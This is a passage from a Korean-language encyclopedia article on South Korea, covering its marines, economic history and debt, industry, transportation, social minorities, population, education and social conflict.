해군 장교 26명, 부사관 54명, 병 300명으로 창설되었다. 해군 예하의 국가 전략기동군으로서 상륙 작전을 주임무로 하며, 그 외 김포, 강화, 포항, 경주, 진해, 제주, 도서지역 등 방어, 상륙작전을 하고, 예비군 교육 및 훈련 등의 임무도 수행한다. 2014년 기준으로, 2개 사단과 1개 여단을 보유하고 있고, 이외에도 연평도와 진해, 제주도 및 기타 여러 도서 지역들에도 해병 부대들을 주둔시키고 있다. 경제 이 부분의 본문은 대한민국의 경제입니다. 개관 한국종합무역센터(트레이드 타워)의 모습 한강과 반포교, 여의도의 63빌딩은 서울과 한강의 랜드마크들이다. 대한민국의 국내총생산 그래프 대한민국은 기본적으로 자유민주주의 시장경제 체제를 유지하고 있으며, 혼합자본주의 체재를 택하고 있다. 한국의 경제 발전은 이승만 정권의 경제관료 양성으로 시작되었다. 이후 4.19 혁명으로 세워진 장면 정권에 의해 기존에 양성된 경제관료를 중심으로 경제 개발 계획이 준비되었으나 5·16 군사정변 발발로 실행되지 못했다. 1960년대 박정희 정부의 주도로 경제 개발 계획을 성실히 수행하였으며, 경공업 육성을 통해 본격적인 산업화를 시작했다. 1973년 이후 박정희 정부의 중화학공업 발전 정책으로 철강, 전자, 조선 산업 등이 크게 발달하며 수출을 증대 시키고 국가 경제를 매우 빠른 속도로 성장 시켰다. 1980년대 전두환 정부 때에는 3저호황과 중화학공업 과잉 투자 조정으로 하여금 세계적인 수준의 공업국가로 올라섰다. .[38] 1960~80년대 고속 경제 성장으로 한때 중화민국, 홍콩, 싱가포르와 함께 '아시아의 네 마리 호랑이(혹은 아시아의 네 마리 용)'로 불렸으며, 1994년에는 사상 처음으로 국민소득 1만 달러를 넘어섰다. 1997년에는 외환위기로 IMF 구제금융사건을 겪었으나, 2년 만에 상당부분 회복했으며 김대중 정부는 이를 해결했음을 선언했다. 그러나 대량 해고, 청년 실직자 문제, 니트족 현상 등의 부작용이 함께 나타났다. 그 후 노무현 정부의 꾸준한 경제 개혁을 통해 2007년까지 매년 백억 달러 이상의 경상흑자와 평균 4%대의 경제발전을 이루어 명목 국민소득 2만 달러, 실질 국민소득 2만 5천 달러를 이루었다. 2015년 현재 국제통화기금(IMF)이 발표한 자료에 따르면 한국의 PPP기준 1인당 국내총생산은 3만 6,601달러이며 이것은 세계 29위 수준이다.[39] 2007년 골드만삭스는 대한민국이 2050년, 브릭스+넥스트 일레븐+G7 1인당 명목 GDP가 90,294 달러가 되어 91,683달러인 미국에 이어 주요 경제국 중 2위에 오를 것이라고 전망하기도 했다.[40] 대한민국은 자본력이 부족한 환경에 따라 독특한 형태의 경제발전을 진행시켜 왔는데, 박정희 당시 계획경제체제를 시행, 수출을 통한 성장을 목적으로, 자본 및 기술적 기반이 약한 중소기업보다는 재벌기업이 주류인 대기업을 축으로 하는 기업경제구조를 세웠으며, 천연 자원이 절대적으로 부족해 가공무역을 핵심으로 삼은 수출주도형 경제성장정책을 도입하였다. 그 결과, 수출과 수입에 많이 의존하는 편이며,[41] 주요 무역 상대국은 중화인민공화국, 미국, 일본, 중화민국, 독일, 영국, 인도네시아, 말레이시아 등이다. 반도체 세계 1위 삼성을 비롯하여 1983년부터 세계 조선 1위를 지켜오고 있는 현대, 백색가전의 LG, 세계 철강 4위인 포스코 등의 여러 기업 집단을 가지고 있으며 포춘지 선정 세계 500대 기업 중 17개가 대한민국 기업이다.[42] 대한민국의 대부분의 상장기업에는 개인지배주주가 존재한다. 반면에 기업발전에 따른 외부자본조달로 지배주주의 지분율 하락이 불가피한 가운데 지배주주와 소수주주간 이해상충문제가 심각한 편이다. 대한민국 경제의 중요한 부분을 차지하는 대규모기업집단의 경우 지배구조가 계열사간 피라미드 및 순환식 소유구조에 의해 경영권을 확보하고 있으나, 이는 현금권과 통제권 간의 상당한 괴리를 가져와 기업가치에 부정적 영향을 미치는 문제를 안고 있다. 경영권 행사에 따른 사적 경영권 혜택이 과도하여 기업이 망하지 않는 한 경영권 교체가 이루어지지 않는 비효율적 산업구조는 대한민국 경제의 치명적 약점으로 지적되고 있다. 1990년대 이후 대한민국 내의 노동자의 임금이 상승하자 기업들은 임금이 싼 해외로 공장을 이전하기 시작하였다. 특히 중화인민공화국에 진출해있는 대한민국 기업이 많으며, 베트남, 태국, 인도네시아 등 동남아시아에도 많이 진출해 있다. 최근에 중앙유럽 국가들이 유럽 연합(EU)에 가입하여 관세가 철폐되면서 중앙유럽으로 진출하는 기업들도 늘고 있다. 조선민주주의인민공화국의 개방이 가속화되면서 개성공단에 입주하는 기업도 늘어났으나, 조선민주주의인민공화국의 대남 도발로 인한 남북 관계 경색으로 가동이 전면 중단된 상태이다. 부채 대한민국의 가계부채는 1999년 ~ 2001년 급증, 2002년 ~ 2004년 감소, 다시 2005년 ~ 2007년 까지 급증, 이후 2008년 금융 위기로 그 증가세가 지속되어 2011년 처음으로 가구당 가계부채가 5000만원을 넘어섰다. 이는 자산 증가보다 부채 증가가 더 빨라짐에 따라 빚을 갚을 능력이 악화됐기 때문이다.[43][44] 특히 소득이 적을수록 부채상환 능력이 크게 떨어졌는데, 2010년 소득 하위 20%의 가처분소득 대비 부채비율이 2009년 보다 68.2% 급증한 279.5%에 이르러 소득의 3배에 달하였다. 이는 소득이 적은 20, 30대 가구와 저소득층의 재무건전성 악화를 보여주고있다.[44] 이는 저축은행들이 건설업체의 잇따른 부도로 프로젝트 파이낸싱(PF) 대출이 부실해지면서 금리가 높은 가계대출 비중을 늘림과 더불어[45] 전월세값을 포함한 물가의 급등과 교육비 지출에 따른 ‘생계형 대출’이 증가하였기 때문이다.[44] 축소된 가계부채 상환 능력에 대하여 이명박 정부는 고소득층의 가계 빚이 가계부채의 70% 가량을 차지하고 있으므로 빚을 갚을 능력이 양호하며 자산불평등도 외국에 비해 낮다는 것을 이유로 당장 한국 경제에 부담이 될 가능성이 낮다는 반응을 보이고 있다. 그러나 20, 30대와 저소득층의 가계부실이 본격화되면 미국이나 유럽처럼 '가계부채 대란'이 현실로 나타날 수 있다는 지적도 나오고 있는 실정이다.[44] 정부와 공기업의 공공부분 부채는 2011년 3분기 말 한국은행이 파악한 것만 789조 3600억 원으로 1년 만에 9.2% 급증했으며 이중 공기업의 부채는 1년 만에 14.4%나 급증한 363조 8000억 원으로 집계됐다. 공기업 부채가 크게 늘어난 것은 정부가 보금자리 주택이나 4대강 공사 등 국책 사업에 필요한 자금을 공사채 발행 등으로 마련한 결과로 보고있다.[46] 소득 양극화 지수는 2003년 기준으로 증가세가 2006년 2.12%, 2008년 2.05%, 2010년 0.89%로 계속 증가하고 있으나 조금 둔화되는 모습을 보였다.[47] 소득 불평등도를 나타내는 지니 계수는 2003년 기준으로 증가세가 2009년 5.65%, 2010년 2.73%으로 계속 높게 나타났다.[47] 공적연금 지출은 30개국 중 29위, 여성 경제활동 참가율은 30개국 중 30위로 나타났다.[48] 산업 농업 1960년대까지의 대한민국의 주요 산업은 농업에 의존하였다. 1963년 이후 집권한 박정희는 공업화, 산업화 정책을 추진하였고 농업인구는 격감하여 1970년 1천4백42만 명으로 전체인구의 44.7%였고, 2010년 기준 한국의 농업인구는 3백2만1천명으로 전체 인구의 7.5%를 차지, 10% 아래로 떨어졌다. 이와 함께 농업인구의 고령화 까지 진행되면서 나중에 식량위기가 올 가능성이 제기되고 있다. 하이닉스의 DRAM. 2008년도 제2사분기의 시장 점유율 조사에 따르면 삼성과 하이닉스가 각각 1, 2위를 차지했다.[49] 공업 대한민국의 공업은 중급수준의 기술을 요하는 산업들에 특화되었고, 주요 산업으로는 조선, 전자, 자동차, 반도체 등이 있다. 특히 조선 산업은 2008년 기준 세계 전체 점유율의 절반을 넘어섰으며[50], 전자 산업은 삼성전자와 LG전자가 있다. 자동차 생산력은 세계 5위[51] 이며, 현대자동차와 기아자동차가 수출을 주도하고 있다.[52] 최근 로봇, 친환경 에너지 등의 미래형 산업에 대한 투자와 지원 또한 늘리고 있다. 반면, 국가경제 발전수준에 비해 서비스업이 국가경제에서 차지하는 비중은 매우 낮은 편이며, 발달수준도 미흡한 편이다. 현재 대한민국의 경제는 삼성, 현대자동차와 같은 재벌 대기업에 상당히 의존하고 있는 편이다. 한국 공업의 역사는 정확하지 않으나 고대부터 제철, 제련 공업이 발달하였다. 구한말과 일제 강점기에는 일본 제국의 경제적 수탈을 목적으로 근대적인 공업 시설이 건립되었고, 일본의 자본이 한국에 유입되었다. 일본 자본의 유입에 맞서 국채 보상 운동이 자발적으로 확산되었고 1920년대에는 김성수는 자본을 투자하여 경성방직, 경성직류 등 방직과 면 공업을 육성하여 민족자본을 형성하기도 하였다. 1923년부터는 조만식, 안재홍, 김성수 등에 의해 물산 장려 운동이 진행되어 국산 공업품을 활용하자는 운동이 일어나기도 하였다. 그러나 일본의 대륙 침략을 위한 군수 공업으로 일변화 된 한국의 공업은 정상적으로 성장할 수 없었다. 광복 이후에도 한국의 공업 수준은 미미했으나, 1960년대 이후 출범한 제3공화국 정권은 경제성장의 기반으로 공업화 정책을 추진하였다. 이후 60년대에는 수공업, 수제품 공업, 기술, 근로자 파견 위주로 진행되었고, 식료품과 담배, 섬유 공업을 기반으로 하는 수입 대체 산업이 발달하였다. 70년대에는 중화학 공업, 제조업, 수출 위주의 공업정책이 진행되었다. 1980년대 이르러 섬유, 의류 산업뿐 아니라 전자 제품, 건설, 중화학 공업이 발달하게 되었다. 동반 성장 대한민국의 골목 상권은 정부가 개입, 규제하지 않는 시장경제를 채택하였고 군사정권 몰락 이후 이러한 시장경제 체제가 대폭 확산되고 있다. 따라서 기업형 슈퍼마켓(SSM), 빵집 등, 프랜차이즈와 대기업의 다양한 분야 시장 독과점화가 진행되고 있다는 지적도 있다. 이에 따라 정부는 2010년 동반성장위원회를 출범시키고[53], 중소기업적합업종을 선정[54], 대통령이 직접 언급 하는[55] 등 제재가 가해지고 있다. 이에 일부 대기업이 속속 사업에서 철수하는 모습을 보이고 있으나[56] 기업형 슈퍼마켓 기업은 중소 업체를 사들이는 등 여전히 많은 대기업은 몸집을 불려나가고 있다는 지적도 있다.[57] 교통 이 부분의 본문은 대한민국의 교통입니다. 고속도로 노선도 육상 교통 도로 국도 제35호선 우회도로 대한민국의 일반 국도, 대한민국의 고속도로, 대한민국의 도로 문서를 참고하십시오. 대한민국에는 우측 통행을 하며, 자동차 운전석은 왼쪽에 있다. 4,000km에 달하는 31개의 고속도로 및 국도, 지방도 등의 도로가 있어 대한민국의 교통을 담당하고 있다. 현재 경부고속도로는 노선의 일부[58] 이며 국도 제7호선은 노선의 일부이다. 1990년대 이후 민간 자본을 투자한 민자 고속도로와 민자 역사 시설 운영도 진행되고 있는 한편, 공기업 형태의 도로교통공단이 기타 도로·철도 시설의 안전을 관리하고 있다.[출처 필요] 버스 메트로버스 200번 대형차량 (현재 폐선) 전국적으로 버스의 하루 평균 이용객 수는 1462만명이다. 과거에는 현금과 함께 회수권과 토큰을 사용했으나 최근에는 교통카드를 이용하는 지역이 대부분이며 현금도 대부분 사용 가능하나 환승 혜택이 없다. 또한 교통카드를 통한 환승 할인 혜택 등으로 사용자를 유도하는 중이다. 또한 이를 통한 도시철도와의 연계를 목적으로 수도권의 버스 노선 체계는 이명박 전 서울시장을 중심으로 완전히 재편되었고 수도권 통합요금제가 수립되게 되었다. 현재 버스 체계는 크게 시내버스와 시외버스로 나눌수 있으며 시내버스 특정 지역의 면허에 귀속된다. 또한 비교적 작은 지역에서의 운행을 위한 마을버스도 부산, 서울, 경기도 등에서 운행되는 중이다. 시내버스의 경우 시계를 넘어서면 시계 추가 요금이 부과되며 서울, 경기도, 인천의 시내버스는 거리에 따른 추가 요금이 부과된다. 시외버스는 시외버스터미널이나 시외버스정거장에서 주로 승하차가 이루어지며 대부분 교통카드를 사용할 수 없지만 가끔씩 사용 가능한 노선도 있다. 현재 대한민국의 버스 회사 중에서는 KD그룹이 가장 규모가 크며 대한민국내 여객용 버스의 10%를 소유하고 있으며 경기도 노선의 절반을 관리한다. 또한 현재 자가용 이용자들을 대중교통으로 유도하기 위해 버스전용차로제를 도입했다. 최근에는 장애인들을 배려하기 위하여 저상버스를 도입하는 자치 단체들이 생기고 있으며 수도권의 도심 지역의 혼란이 극심한 대한민국의 상황에 걸맞은 굴절버스를 수도권 일부 지역에서 도입하였으나 대부분 비용 문제 등으로 취소되었다. 철도 한국철도공사는 시속 300km의 KTX 열차를 도입하였다. 대한민국의 철도 문서를 참고하십시오. 대한민국의 철도 및 광역전철의 총 연장 길이는 3,000km에 달한다. 이러한 대한민국의 철도시설은 1963년 9월 1일 교통부 산하에 철도청을 신설하여 이때부터 국가가 체계적으로 관리하였으나 2005년에는 기업체로 전환하여, 공기업의 형태인 한국철도공사와 한국철도시설공단에서 국유 철도를 관리하고 있다. 특히 경의선 철도는 평부선·평의선과 시베리아 횡단철도와의 연결을 추진하고 있다.[59] 대한민국의 대표적인 철도선에는 경부선, 호남선, 중앙선, 장항선, 경전선, 경춘선, 충북선, 그리고 전라선이 있다. 또 2016년 12월에는 한국철도공사가 자본을 출자하여 설립된 민간기업 SR에서 운행하는 SRT가 개통되며 철도경쟁시대가 도래했다. 대한민국의 도시철도는 수도권지역과 부산지역, 대구광역시, 대전광역시, 광주광역시 등에서 운행되고 있다. 시내를 운행하는 도시철도를 일컬어 '지하철' 또는 '전철' 등으로 부르기도 한다. 1974년 8월 15일 처음으로 개통된 수도권지역은 1~9호선과 분당선, 중앙선, 경의선, 경춘선, 인천 1호선, 인천국제공항철도, 신분당선, 수인선, 용인경전철, 의정부경전철 까지 총 19개 노선이 운행되고 있으며 전국에서 가장 규모가 크다. 기본요금은 평균적으로 교통카드 이용시 최초 10km까지 1050원, 그이후 5;km 초과시마다 100원씩 추가된다. 그러나 민영 도시철도인 신분당선은 기본요금이 1,750원이고, 다른 노선에서 신분당선으로 환승할 경우 700원이 추가된다.[60] 수도권 전철은 인천 도시철도, 인천공항, 김포공항과도 연결된다. 1985년 개통된 두 번째로 큰 부산 도시철도는 총 길이 131.7km에 1호선, 2호선, 3호선, 4호선, 부산김해경전철 5개 노선이 운행되고 있으며, 이외에도 대구지하철 1호선, 2호선 2개 노선이 운행되고 대전지하철 1호선 1개노선이 운영, 광주1호선 1개 노선 운행 등 일부 광역시들을 중심으로 도시철도가 계속되어 건설중이다. 요금은 각 지자체에서 따로 규정하여 조금씩 다르다. 복지 정책으로 65세 이상의 노인과 장애인, 국가유공자는 무임으로 승차할 수 있다.(부산-김해 경전철은 노인도 유임승차) 서울 9호선 고속터미널역의 내부모습. 대한민국의 도시철도는 대체로 운행 시간이 정확하고 위생환경과 전반적인 이용이 쾌적하다는 긍정적인 평가를 받으나 실내먼지 오염농도가 높고, 출퇴근 시간에 사용자가 많은 일부 역에서 극심한 혼란이 빚어지는 등 개선점도 지적되고 있다. 또한, 과거에는 의자 등의 내부 자제들을 합성수지로 된 쿠션을 많이 사용하였으나 2003년 대구 지하철 화재사고 이후로 모든 자제들을 불연성 재질로만 사용하도록 규정이 변경되어 현재 모든 지하철과 전철에 적용되어 있고 방독면이나 소화기 등도 잘 비치되어 있다. 이 외에 선로 추락 사고나 자살 등을 예방하기 위한 대책으로 현재 수도권지역의 모든 역에 스크린도어를 설치 하였으며[61] 최근에 개통한 부산, 대구, 대전, 광주의 일부 도시철도 승강장에도 스크린도어가 설치되어있는 경우가 있고 부산 도시철도의 경우 모든 승강장에 안전펜스와 스크린도어를 설치하였다.[62] 최근에 대한민국의 지방자치단체들은 도시철도로써 건설비가 많이드는 중전철보다 경전철을 선호하여 전국 각지에서 운행중이거나, 계획과 건설이 이루어지고 있다. 항공 교통 대한민국에는 8개의 국제공항과 7개의 국내선 공항이 대한민국 내외의 항공 교통을 담당하고 있다. 항공교통은 광복 후 1948년 대한국민항공사(KNA)가 설립되어 국내선을, 1954년 이후 국제선을 운항하였다. KNA는 1962년에 대한항공공사로 개칭하고 국영으로 운영되다가, 1969년 한진상사가 인수하여 대한항공으로 개명하고 민영으로 운항되면서 급속한 성장을 보였다. 1988년 제2민간항공사업이 허가됨으로써, 금호그룹의 아시아나항공과 함께 경쟁체제로 바뀌었다. 또한 대한항공은 2007년 기준으로 약 100억 톤의 화물을 처리하였다. 최근에는 진에어, 에어부산 등 여러 저가항공사도 운행되고 있다. 해상 교통 수출입화물운송에서 절대적인 지위를 점하고 있는 해운업은 선박의 노후화, 선원부족, 비용가중이라는 내부적 문제에 비국적선 취항증가로 경영압박을 받고 있다. 2002년 말 전국의 항만수는 총 49개항이며, 이 중 무역항이 27개, 연안항이 22개항이다. 이들 항만의 연간 하역능역은 2억7,259만5,000톤으로 1988년의 1억7,077만톤보다 약 1.6배 증가했다. 선박등록현황은 총 763만 7,549톤(6,792척)이며, 이 중 여객선 12만 4,513톤(190척), 화물선 521만 4,636톤(725척)이고, 외항선박들의 주요정기항로 취항현황을 보면 북미 25척, 동남아 48척, 한일항로 55척 등이다. 사회 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2019년 2월 2일에 문단의 출처가 요청되었습니다.) 이 문단의 일부는 오래된 정보를 가지고 있어 최신 정보로 교체되어야 합니다. 검토 후 최신 사건이 반영되도록 문서를 수정해 주세요.내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2019년 2월 2일) 2010년 10월 대한민국의 총인구는 주민등록상 5000만 명을 돌파했다. 대한민국의 모든 국민은 자동으로 건강보험에 의무적으로 가입되며 국가가 피부양자로 지정된다. 초등학교 6년과 중학교 3년은 무상의무교육이다. 민주화 이후의 한국 사회는 보수와 진보의 극심한 이념 대립 등에서 기인한 사회 갈등이 존재한다. 인종이나 민족에 대한 명확한 통계는 나온 적이 없으나, 국민의 대부분은 한국어를 모국어로 사용하는 한민족이다. 고대부터 중국 대륙 등지로부터의 인구 유입도 잦았으나 그들도 같은 민족으로 융화되었다. 다만 독립 이후 중국, 동남아시아를 비롯한 제 국가로부터의 이주가 늘어나면서 다민족적인 요소 또한 증가하고 있다. 대한민국에 살고 있는 외국인은 150만 명 정도인데, 이 가운데 가장 인구가 많은 외국인은 중국인으로 그 중 상당수는 한국계 중국인에 해당한다. 그 외의 외국인으로는 미국, 일본, 인도네시아, 필리핀, 베트남, 태국, 캄보디아, 라오스, 러시아, 우즈베키스탄 등의 출신의 사람들이 거주하고 있다. 사회적 약자 노동자 2016년 8월 기준 전체 대한민국의 임금노동자는 19,627,000명으로 그 가운데 2,664,000명이 최저임금보다 낮은 보수를 받고 일하는 것으로 추산됐다고 통계청은 전했다. 고용노동부가 발표한 '2016년 전국 노조 조직현황'에 따르면 국내 전체 노조 조직률은 전년보다 0.1%포인트 오른 10.3%로 집계됐다. 노조 조합원 수는 196만6681명으로 전년보다 2만8136명(1.5%) 증가했다. 이 수치는 전교조가 법외노조가 되며 통계에서 빠진 수치이다.[63] 대한민국의 노동조합 연맹체로는 전국민주노동조합총연맹(민주노총), 한국노동조합총연맹(한국노총) 등이 있다. 성소수자 이 부분의 본문은 대한민국의 성소수자입니다. 성 소수자, 동성애 혐오#한국의 동성애자 탄압, 청소년 성소수자의 자살 문서를 참고하십시오. 대한민국에서는 수구, 기독교 근본주의 세력에 의한 성소수자 혐오와 차별 등이 존재해 왔다. 대한민국에서는 2000년 홍석천, 하리수, 이시연 등의 등장 이전에는 성소수자라는 사실을 밝히기만 해도 주변에서 따돌림, 학교 폭력에 노출되거나 취업 등에 불이익 등을 받아왔다. 성소수자들은 1992년 이후 본격적으로 한국 사회에서 목소리를 내기 시작하였으며, 1993년 성소수자 단체 초동회가 처음 결성되고 1년 뒤에는 남자 동성애자인 게이, 트랜스젠더 모임인 친구사이와 레즈비언 단체인 끼리끼리로 분리되었다. 1997년에는 대학생 동성애자 인권단체인 대학생동성애자인권연합이 결성되고 이듬해 동성애자인권연대로 명칭 변경, 2015년 행동하는 성소수자 인권연대로 명칭 변경하였다. 1998년 5월 17일에는 성소수자 인권 운동가 오세인이 1997년 자신이 게이임을 가족에게 밝혔다가 추방당한 후, 활동하던 단체 사무실에서 자살하였고, 2003년 4월 26일에는 동성애자를 악마, 사탄 등으로 비판하는 개신교계의 공격과 동성애를 청소년 유해 단어, 음란물로 지정하려는 움직임 등 성소수자 혐오에 저항하는 활동을 하는 시인 겸 작가 육우당이 끝내 자살하게 되는 사건이 있었다. 2000년 이후 자신이 게이임을 커밍아웃한 홍석천을 시작으로 트랜스젠더인 하리수, 이시연 등의 공개적 활동 등으로 성소수자들에 대한 맹목적 거부감이 사회적으로 서서히 사라지기 시작하였다. 이후 일부 단체와 일부 사회 인사들을 중심으로 성소수자들의 활동을 지지, 성소수자 문화제 개최 등의 행사가 본격 등장하였다. 현재, 대한민국 내 대표적인 성소수자 인권단체 연맹체로는 성소수자 차별반대 무지개행동 (무지개행동)이 있다. 여성 대한민국의 기득권층에서의 여성의 활약이 미미하다고 분석되는데, 2017년 이코노미스트 유리천장 지수에서 한국의 고위직 여성 비율은 10.5%, 기업 이사회 내 여성 임원 비율은 2.4%로 나타나 OECD 29개국 중 최하위를 기록했다. 대한민국 국회 내 여성 비율은 17%로 이는 OECD 평균(28.2%)보다 낮은 수치다. 근 십여 년간 대한민국의 대기업들이 외국인 임원과 여성 관리자를 뽑았지만 그 중 상당수는 몇 년도 버티지 못했다. 2010년 SK의 첫 외국인 여성 임원(2008~2010년)이었던 린다 마이어스는 "한국 기업은 다양성 문제에서 너무 보수적이고 변화에 느리다"고 평가했다.[64] 이주민 중화권, 일본, 동남아시아, 아랍, 독립국가연합 등을 비롯한 세계 여러지역의 사람들과 결혼하는 한국인이 늘고 있으며, 이러한 새로운 형태의 가정을 '이주가정'이라고 부른다. 특히 농촌 지역 기준 결혼 등록건수의 50%에 해당하는 1만여 건 정도가 국제결혼으로 등록되고 있다. 1990년대 초까지 남아선호사상이 잔존하였으며, 1970년대의 박정희 정부의 '둘만 낳자'는 가족 계획과 1980년대 전두환 정부의 '하나 낳아 알뜰살뜰' 등의 가족 계획으로 여자 아이에 대한 낙태 현상 등으로 1970년~1990년대 초반 출생자들 사이에서는 남녀 간의 성 비율이 깨져 여성에 비교하여 남성의 수가 월등히 많은 현상이 도래하였다. 또한 1980년대 후반부터 농촌 기피 현상으로 일부 농촌 지역 노총각들이 결혼, 연애가 어려운 것에 비관하여 자살하는 일이 증가하였으며, 1990년대 이후에는 외국에서 배우자를 찾는 농촌 총각들이 증가하였다. 이주노동자는 1990년대 이후 국민들의 생활수준이 전반적으로 향상되면서 1970년대 이후 고졸이던 평균 학력이 1995년 고교평준화와 학력고사 등의 폐지 이후 대졸 내지는 초대졸로 변화하였다. 그에 따라 청년층이 '3D 업종' 또는 '4D 업종'으로 분류되는 직업을 기피하는 현상이 발생하고 있다.[65] 또한 3D 업종과 4D 업종으로 분류되는 직종 외에도 중소기업과 일부 공장 등에 대한 기피현상이 두드러지게 나타나고 있다. 그로 인해, 각지에서 많은 이주노동자들이 대한민국에 들어와 일하고 있다. 이들은 합법적으로 취업 비자를 받고 입국한 산업연수생과 불법적으로 들어온 불법 체류자로 나뉘는데, 일반적으로 이주노동자라 하면 이들 둘을 통틀어 가리킨다. 2010년 기준으로 대한민국의 이주노동자 수는 55만 명으로, 전체 경제활동인구의 2.2%를 차지하고 있다. 일각에서 이주노동자가 일자리를 빼앗아 간다는 견해가 있음에도 불구하고 이주노동자의 비율은 10% 대를 넘지 않고 있다. 난민 대한민국 내 난민의 대부분은 북측에서 나온 탈북자로, 정부에서는 이들을 특별 취급하여 국적 부여, 생활 지원 등 다양한 혜택을 부여하고 있다. 또한 1990년대 이후 정치적 난민을 인정하기 시작하여 아프리카나 아랍권의 일부 국가로부터 정치적 혹은 종교적 박해를 피해 입국한 이들을 인도적으로 받아들이고 있으나 그 수는 일반적인 선진국에 비해 많지 않다. 인구 이 부분의 본문은 대한민국의 인구입니다. 2012년 6월 23일을 기준으로 대한민국 통계청은 총인구가 5000만명을 돌파했다고 발표했다. 이는 세계 194개국 중 26위이다. 광복 직후에는 해외 동포들이 귀국하고, 6.25전쟁 때에는 조선민주주의 인민공화국인들이 많이 월남했는데 광복 직후에는 약 180만 명, 6.25전쟁에 약 100만 명이 남쪽으로 내려왔다. 1960년대 이후 대도시에 인구가 집중하게 되는 도시화 현상이 일어났으나, 최근에는 쾌적한 생활을 위한 역도시화 현상도 나타나고 있다. 1970년 이전까지 5백여만 명이던 서울의 인구는 1988년에 1천만 명을 돌파하였다. 이후 서울의 인구 증가는 정체 상태에 있으나, 인근 경기도의 인구가 급증하여 2007년 10월말 현재 수도권 거주 인구는 2390만 3785명으로 전국 인구의 48.6%를 차지하였다. 인구 밀도는 503명/km2이다. 1990년대 들어 감소 경향을 보이던 서울의 인구는 2000년대 들어 소폭 증가하기 시작, 2009년에는 1046만명으로 6년 연속 증가했다. 인구 유입등으로 수도권 전체 인구는 증가하는 반면 부산은 지속적 감소로 1995년 381만 명에서 2013년 356만명으로 급감했으나 대신 인근 경상남도 지역의 인구가 증가하고 있다. 대구 역시 253만명에서 252만명으로 줄어들었다. 인천은 약 298만명, 대전 155만명, 광주 148만명 울산 117만명 등이다. 대한민국의 도시화율은 81.5%로, 전 세계적으로 매우 도시화된 국가에 속한다. 대한민국은 1970년을 전환점으로 하여 2% 미만으로 인구 증가율이 감소하는 추세를 보이고 있다. 2009년 기준으로 합계출산율(여성 한 명이 평생 동안 낳는 자녀 수)은 1.19명으로 전년에 비해 0.06명 감소했다. 최근 3년간 출산율이 증가 하였으나 경제위기로 인해 출산율이 감소한 것으로 보인다. 2009년의 출산율은 종전의 2008년 1.19보다도 떨어져 1.15를 기록했다. 출생아수는 445,200명(통계청)으로 여전히 세계 최저수준의 출산율을 기록하고 있어 인구 감소에 큰 영향을 미칠 것으로 전망된다. 통계청의 2009년 10월 출생아수가 40200명에서 40100명으로 축소 수정 발표된 이후 잠정 통계치에서는 37700명으로 2차 축소 수정 발표가 되어 1차 발표치보다 2500명이 줄어들어 발표되었다. 2016년 4월, 행정자치부의 정보에 의하면 현재 대한민국의 인구는 약 51,584,349이고 2017년 2월 행정자치부에 따르면 51,712,221명이다. 도시의 인구 순위 이 부분의 본문은 대한민국의 인구순 도시 목록입니다. 교육과 문화 이 부분의 본문은 대한민국의 교육입니다. 초등학교 6년과 중학교 3년이 의무교육이다. 고등학교는 3년 과정이며, 일반계(인문계, 자연계)·전문계(실업계)·특수 목적 고등학교(특목고)로 분리되어 있다. 고등교육에는 4~6년제 대학교와 2~3년제 전문대학이 있다. 2005 년 인구주택총조사에 따르면, 교육을 받는 정규학교 재학자는 1089만 명(24.7%), 졸업자는 2987만(67.8%), 중퇴자는 96만 명(2.2%)이고, 졸업자는 초등학교 및 중학교 졸업자는 750만 명(24.5%), 고등학교 졸업자는 1263만 명 (41.2%), 대학 졸업 이상은 1050만 명(34.3%)을 나타내는데, 이는 교육 수준이 상당히 높은 것으로 볼 수 있다. 하지만 이러한 높은 교육수준은 대한민국의 교육정책에 의해서 기인된 현상으로 보는 경우가 많으며, 현재에는 오히려 학력인플레이션으로 인해 청년실업의 증가가 사회의 심각한 문제로 대두되고 있다. 대한민국은 대학교 진학률이 다른 국가에 비해 상당히 높은 편이다. 일반적으로 대학교에 진학하려는 사람들은 대학수학능력시험(수능)을 치르게 된다. 대학수학능력시험은 고등학교 졸업 예정자 혹은 고등학교 졸업에 상응하는 학력을 가진 사람이면 누구나 치를 수 있다. 이 외에도 각 대학에서는 수시입학전형, 특별전형 등을 통하여 개별 대학의 요구에 맞는 학생들을 선발하고 있다. 또 대한민국은 사교육 시장이 크게 발달되어있어, 사교육에 들어가는 비용이, 각 가정마다 월평균 70여만원을 웃돌고 있다.[66] 복지 이 문단은 비어있습니다. 내용을 추가해 주세요. 사회 갈등 미국산 소고기 수입 반대 촛불 집회 민주화 이후의 한국 사회는 우파와 좌파의 극심한 이념 대립 등에서 기인한 사회 갈등이 존재한다.[67] 2000년대 들어서 이러한 갈등은 고도로 발달된 인터넷 여론에 기반한 전국적인 규모의 촛불 집회로 종종 표출되었다. 이러한 대한민국의 대규모 촛불 집회에 대한 평가는 이념 진영에 따라 판이하게 다르다. 촛불 집회에 대하여 좌파진영은 시민들의 민주 의식 신장에 따른 자연스러운 현상[68]으로 민주주의의 필수 요소인 시민의 적극적 참여를 이끌어 냈다는 점, 인터넷을 통해 직접민주주의에 다가갔다는 점에서 긍정적으로 평가한다. 하지만 우파진영은 선동에 의한 자유민주주의의 왜곡과 특정 정파 이해집단의 욕구를 위한 창구로 활용된다는 점을 들어 사회 혼란, 경제적 손실을 초래했다고 평가한다.[69] 또한 한국의 노사갈등에 대하여 상당수의 국민들이 문제라고 인식하고 있으며,[70] 국제경영개발원에 의하면 한국의 노사관계는 57개국 중 56위로 선정되어 시급한 문제로 꼽히고 있다.[71] 이념 대립의 연장선에서 자유민주주의의 실현 방식에서 국가주도의 사회운영과 성장을 주장하는 국가주의세력과 개인의 자유에 따른 사회운영을 주장하는 동시에 분배를 중시하는 자유주의·진보주의 세력간 논리의 충돌도 있다. 이는 서방세계와 같은 좌우대립의 이념지형이 제대로 형성되지 않은데서 기인한 사회 갈등인데 그 원인으로 일각에서는 대한민국이 반공반북을 중요시하여 좌파의 존재를 부정해야 하는 환경이 장기간 지속되었고 1980년대 학생·노동운동 진영에 의해 만들어진 좌우대립의 이념지형도 1990년대 초 세계적인 공산주의의 몰락으로 사라져 서방세계와 같은 이념지형이 형성되지 못했기 때문이라고 보고 있다.[72] 갈등·소통 지수 대한민국의 갈등 지수는 2009년 삼성경제연구소가 조사한 결과 OECD 회원국 중 4위에 